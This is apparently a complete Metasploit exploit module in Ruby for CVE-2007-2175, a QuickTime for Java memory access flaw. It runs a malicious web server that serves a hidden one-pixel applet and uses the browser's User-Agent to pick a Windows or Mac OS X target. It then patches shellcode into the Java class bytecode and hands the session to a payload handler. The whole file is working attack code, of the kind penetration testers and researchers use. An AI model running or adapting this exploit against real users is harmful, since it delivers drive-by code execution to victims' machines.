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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  #
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  # This module acts as an HTTP server
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  #
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  include Msf::Exploit::Remote::HttpServer::HTML
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
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      'Description'    => %q{
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        This module exploits an arbitrary memory access vulnerability in the
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      Quicktime for Java API provided with Quicktime 7.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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      [
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        'hdm',           # Original exploit for Mac OS X PPC / Win32
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        'kf',            # Added support for Mac OS X X86
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        'ddz'            # Discovered bug, provided tips
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      ],
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      'References'     =>
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        [
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          ['CVE',    '2007-2175'],
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          ['OSVDB', '34178'],
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          ['BID',    '23608'],
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          ['ZDI',    '07-023'],
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        ],
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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          'BadChars' => ''
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        },
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      'Platform'       => %w{ win osx },
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      'Targets'        =>
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        [
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#
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# Problem with generic payloads + regenerate_payload still :(
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#
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#					[ 'Quicktime 7 Automatic',
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#						{
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#							'Platform' => ['win', 'osx'],
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#							'Arch' => [ARCH_X86, ARCH_PPC]
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#						}
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#					],
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          [ 'Quicktime 7 on Windows x86',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_X86
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            }
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          ],
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          [ 'Quicktime 7 on Mac OS X PPC',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_PPC,
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            }
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          ],
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          [ 'Quicktime 7 on Mac OS X x86',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_X86,
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            }
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          ],
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        ],
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#			'DefaultTarget'  => 0,
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      'DisclosureDate' => '2007-04-23'
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      ))
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  end
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  def exploit
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    # load the class data
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    path = File.join(Msf::Config.data_directory, "exploits", "QTJavaExploit.class")
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    fd = File.open(path, "rb")
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    @class_data = fd.read(fd.stat.size)
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    fd.close
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    super
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  end
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  def on_request_uri(cli, req)
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    # Create a cached mapping between IP and detected target
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    @targetcache ||= {}
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    @targetcache[cli.peerhost] ||= {}
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    @targetcache[cli.peerhost][:update] = Time.now.to_i
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    if (target.name =~ /Automatic/)
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      case req.headers['User-Agent']
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      when /Windows/i
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        print_status("Choosing a Windows target")
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        @targetcache[cli.peerhost][:target] = self.targets[1]
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      when /PPC Mac OS X/i
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        print_status("Choosing a Mac OS X PPC target")
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        @targetcache[cli.peerhost][:target] = self.targets[2]
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      when /Intel Mac OS X/i
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        print_status("Choosing a Mac OS X x86 target")
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        @targetcache[cli.peerhost][:target] = self.targets[3]
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      end
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    end
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    # Clean the cache
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    rmq = []
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    @targetcache.each_key do |addr|
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      if (Time.now.to_i > @targetcache[addr][:update]+60)
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        rmq.push addr
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      end
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    end
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    rmq.each {|addr| @targetcache.delete(addr) }
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    # Request processing
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    if (not req.uri.match(/\.class$/i))
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      # Redirect to the base directory so the applet code loads...
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      if (not req.uri.match(/\/$/))
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        send_redirect(cli, get_resource() + '/', '')
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        return
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      end
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      # Display the applet loading HTML
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      print_status("Sending HTML")
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      send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
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      return
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    end
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    # Send the actual applet over
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    print_status("Sending applet")
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    send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })
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    # Handle the payload
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    handler(cli)
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  end
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  def generate_html()
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    return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
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  end
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  def generate_applet(cli, req)
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    this_target = nil
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    if (target.name =~ /Automatic/)
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      if (@targetcache[cli.peerhost][:target])
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        this_target = @targetcache[cli.peerhost][:target]
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      else
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        return ''
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      end
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    else
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      this_target = target
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    end
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    # make a copy..
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    data = @class_data.dup
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    # 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
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    idx_targ = data.index("\x03\x10\xcc\x54")
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    # 1024 bytes for shellcode
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    idx_code = data.index("\x03\x10\xf0\x54")
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    # Handle Mac OS X PPC
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    if (this_target.arch.include?(ARCH_PPC))
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      tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
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      data = patch_bytecode(idx_code, data, tp.encoded)
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      data = patch_bytecode(idx_targ, data, "\x01")
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    end
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    # Handle Mac OS X x86 / Windows x86
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    if (this_target.arch.include?(ARCH_X86))
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      if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
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        tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
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        data = patch_bytecode(idx_code, data, tp.encoded)
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        data = patch_bytecode(idx_targ, data, "\x03")
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      end
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      if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
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        tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
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        data = patch_bytecode(idx_code, data, tp.encoded)
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        data = patch_bytecode(idx_targ, data, "\x02")
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      end
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    end
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    return data
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  end
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  def patch_bytecode(off, data, buff)
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    cnt = 0
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    off -= 1
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    while (cnt < buff.length)
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      cnt += 1
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      while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
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        off += 1
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      end
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      data[off]=buff[cnt-1]
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      off += 1
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    end
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    return data
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  end
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end
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